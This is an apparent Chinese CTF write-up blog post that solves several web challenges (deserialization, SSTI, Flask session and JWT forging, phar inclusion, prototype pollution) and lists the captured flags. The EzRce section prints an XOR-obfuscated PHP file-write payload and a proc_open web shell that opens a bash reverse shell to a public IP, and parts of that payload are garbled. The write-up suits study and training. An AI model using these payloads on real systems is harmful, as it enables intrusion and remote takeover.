type
Post
status
Published
date
slug
summary
tags
CTF
推荐
category
CTF-WP
category (1)
icon
password
comment
ez_remove
看源代码发现主要是绕过preg_match进行代码执行,这边可以用16进制编码绕过,而且下面有throw new Error(“快来玩快来玩~”);所以要fast destruct,fast destruct主要通过在反序列化最后去掉一个},使它提前触发destruct
payload
这边要注意S的大写
然后用system进行命令执行,发现被搬

image-20231101181954141
后来经过尝试发现貌似只有proc_open没被过滤
用法如下
最后的payload
在公网上监听

image-20231101182636864
反弹成功
接下来读取flag

image-20231101182707716
SYC{2kxBFYwOhKfr3jKi80}
Pupyy_rce
打开环境,发现源码
关键代码
一眼顶真,是无参rce具体参考我的博客无参数命令执行学习

image-20231105112320415
因为是随机返回,所以要多试几次
SYC{1zDgyejyGY3xNMYuAV}
klf_ssti
打开环境查看源码

image-20231105115855402
访问路由/hack

image-20231105115916084
尝试一下get传参klf

image-20231105115944104
根据题目的描述,怀疑存在ssti注入漏洞,但是是盲注,我们先要找到哪里有popen
附盲注的脚本
得到运行结果

image-20231105120117871
经过尝试发现117里有popen,所以构造反弹shell的payload
url加密一下执行上传,同时服务器进行监听

image-20231105120234396
反弹shell之后就是找flag了,这边找得我奔溃了,根本找不到,还好我锲而不舍

image-20231105120650304
SYC{PqCgjFkyhVn6XVdXEU}
you konw flask?

image-20231105151947535
使用robots.txt,发现/3ysd8.html,我们先访问一下

image-20231105152203707
发现session的key
我们去生成一个字典
然后用字典去解session的key,我们先注册一个账户获取key

image-20231105152528856
其中session_key.txt保存密钥,session.txt保存要解密的session
最后得到解密的session和密钥

image-20231105152641587
然后去用flask_session_cookie_manager去加密
其中用户名和session的key换成自己的

image-20231105152804641
拿session去访问

image-20231105153013255
点学员管理

image-20231105153035480
SYC{hIfB1FTMy6A4upFs1B}
famale_imp_l0ve
打开环境

image-20231106185604831
发现只能上传zip文件,而且还不会解压,所以先进行了目录扫描,看看有没有什么其它路由
用dirmap扫描之后发现了一些可疑的路由

image-20231106185733078
访问/index.php/login并查看源代码,发现另一个重要的路由/include.php

image-20231106185838805
访问/include.php路由,得到源码
可以看到文件包含,初步思路是写一个木马命名为1.jpg,将1.jpg压缩成为flag1.zip然后上传,接着在文件包含的漏洞处用phar伪协议来访问压缩包内的木马文件并包含

image-20231106191906927
SYC{qdYQnb1Bu2rsVShSOp}
ez_path
给了一个pyc文件,先进行一下反编译,反编译在线网站:https://www.toolkk.com/tools/pyc-decomplie#google_vignette
关键代码
源代码可以看到flag路径

image-20231107142404095
直接任意文件读取

image-20231107142446373

image-20231107142456549

image-20231107142504554
SYC{5uaaTqP4nlC0AmIvUT}
EzRce
后面getshell之后去看了waf.php的源码,嘿嘿
这边就直接用异或
附上脚本
先看一下phpinfo
payload

image-20231114220714892

image-20231114220830746
看到被过滤了那么多函数,那没办法了,只能写入webshell然后fantanshell了
用file_put_contents(“s.php”,“%26 /dev/tcp/111.229.162.217/777 0>%261"',array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "./error-output.txt", "a")),$pipes);var_dump($pipes);echo stream_get_contents($pipes[1]);?>");
这边用了proc_open来绕过
但是我们要执行的payload得一步步执行
```
$_=('%06'^'%60').('%09'^'%60').('%0c'^'%60').('%05'^'%60').('%00'^'%5f').('%0c'^'%7c').('%09'^'%7c').('%08'^'%7c').('%00'^'%5f').('%03'^'%60').('%0f'^'%60').('%0e'^'%60').('%08'^'%7c').('%05'^'%60').('%0e'^'%60').('%08'^'%7c').('%0c'^'%7f');//$_=file_put_contents
$__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');//$__=_POST
$___=$$__;//$___=$_POST
$_($___['_'],$___['*']);//file_put_contents($_POST['_'],$_POST['*']);
最后post提交
_=shell.php&*= array(”pipe”, “r”),1 => array(“pipe”, “w”),
2 => array(“file”, “./error-output.txt”, “a”));$process = proc_open(‘bash -c “bash -i >& /dev/tcp/111.229.162.217/777 0>&1”’, $des, pipes); vardump(pipes);echo stream_get_contents($pipes[1]););?>
find ‘which find’ -exec cat /flag ;
简单分析一下大概就是我们先要再/register的路由下注册一个账户,然后要确保是vip(这边要用到原型链污染,因为注册的user类里没isvip),然后再去访问/flag的路由,绕过if判断之后就可以看到flag了
再来看一下注册的前端代码
关键代码
可以看到前端从表单获取数据然后以json的格式返回到后端,那么我们就可以用burp抓包来发送json格式的数据然后并进行原型链污染
构造payload,因为isvip被过滤了,所以我们要用unicode编码来绕过069073076069070

image-20231116111338373
这边要注意几个点,首先使用post发包,其次Content-Type: application/json,最后发送的post内容要符合json格式,可以发现注册成功,接下来先登录一下/login然后接着去访问/flag的路由,用get方法传入一个num=+123456789
执行之后查看源代码就可以得到flag了

image-20231116111836581
SYC{KpMMmU2EQxjPJc6Yb5}
change_it
打开是一个登录界面,查看源代码看到用户名和密码user和user,登录进去

image-20231118125334644
可以看到有文件上传漏洞,但是发现不是管理员没法上传
看一下token

image-20231118125611874
根据前端的代码,猜测大概率是jwt格式的token,和伪造flask的session一样,我们先去爆破一下密码

image-20231118125954882
可以看到爆破出来的密码是yibao,那么接下来就是去伪造token了

image-20231118130128519
将伪造后的session放入cookie

image-20231118130205450
发现可以上传图片了,但是上传木马之后发现木马的名字命名是随机的,但是可以通过源码看到它生成随机密码的函数
但是根据
可以判断出这个是伪随机,我们只要写一个爆破的脚本就行

image-20231118133737382
去用蚁剑连接这个网址

image-20231118133927668
得到flag
SYC{xw5Fv0DwtkRsasfvg1}
- 作者:qetx
- 链接:http://qetx.top/article/1c48efbb-87d7-4db6-b720-716ea0271d2e
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。








